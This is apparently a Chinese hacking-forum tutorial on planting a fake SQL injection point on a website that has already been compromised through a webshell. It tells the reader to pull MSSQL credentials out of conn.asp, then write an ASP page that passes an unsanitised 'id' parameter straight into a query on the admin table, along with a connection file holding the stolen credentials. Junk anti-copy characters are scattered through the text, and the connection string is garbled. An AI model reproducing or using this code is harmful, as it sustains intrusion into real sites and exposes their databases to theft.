首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
$ Q# d$ l6 t, B j- CASP/Visual Basic代码 L( M3 H9 E* G0 s4 t. B- R
<!--#include file="xx.asp"-->
( u# W6 _0 k3 K& R<%
) @7 _0 S1 i0 D/ r0 pset rs=server.createobject("ADODB.recordset")
2 w: J% _5 I" Z* r- u* h1 b, L' bid = request("id")
) t3 b2 n) M9 n* R, V4 r3 \( AstrSQL = "select * from admin where id=" & id ) J6 ^. t. a: ^ D/ o7 J" O
rs.open strSQL,conn,1,3
4 p3 X8 [ D. [; t7 [; `rs.close
. l. j l2 d# Q/ r5 R" d& p%>
: x1 S( V3 o# i8 d把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
: C$ }/ `4 l$ S# I0 Z/ |8 j7 r然后就要构造一个连接数据库的文件了,代码如下:
! p. a% r( f5 e/ z3 C' |& D+ \1 l- ^ASP/Visual Basic代码
& l. K7 {$ S% R5 A# I0 G5 w<% + a4 T/ l+ L$ c4 q3 }. ^3 ]
strSQLServerName = "000.000.000.000" '服务器名称或地址
4 a; y0 N$ ~3 c1 ^strSQLDBUserName = "sqlname" '数据库帐号
9 z6 \" F9 i7 r m! ]& ~" s( [+ ]/ IstrSQLDBPassword = "sqlpass" '数据库密码 ! U6 O. {( t8 f+ a& K
strSQLDBName = "sqldataname" '数据库名称 5 I' m- f( Y9 T7 P1 d8 c" I; F
Set conn = Server.CreateObject("ADODB.Connection")
4 q/ l5 t5 u. y/ \2 \$ M3 kstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";" , b3 z+ {6 M P! R. c4 w' _
conn.open strCon
/ o( E, P/ c. }5 c+ Y7 {%> ) y3 i5 ?# ^8 g" D: Q1 r/ \( S% U
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
6 z. X6 _. Q. r9 W |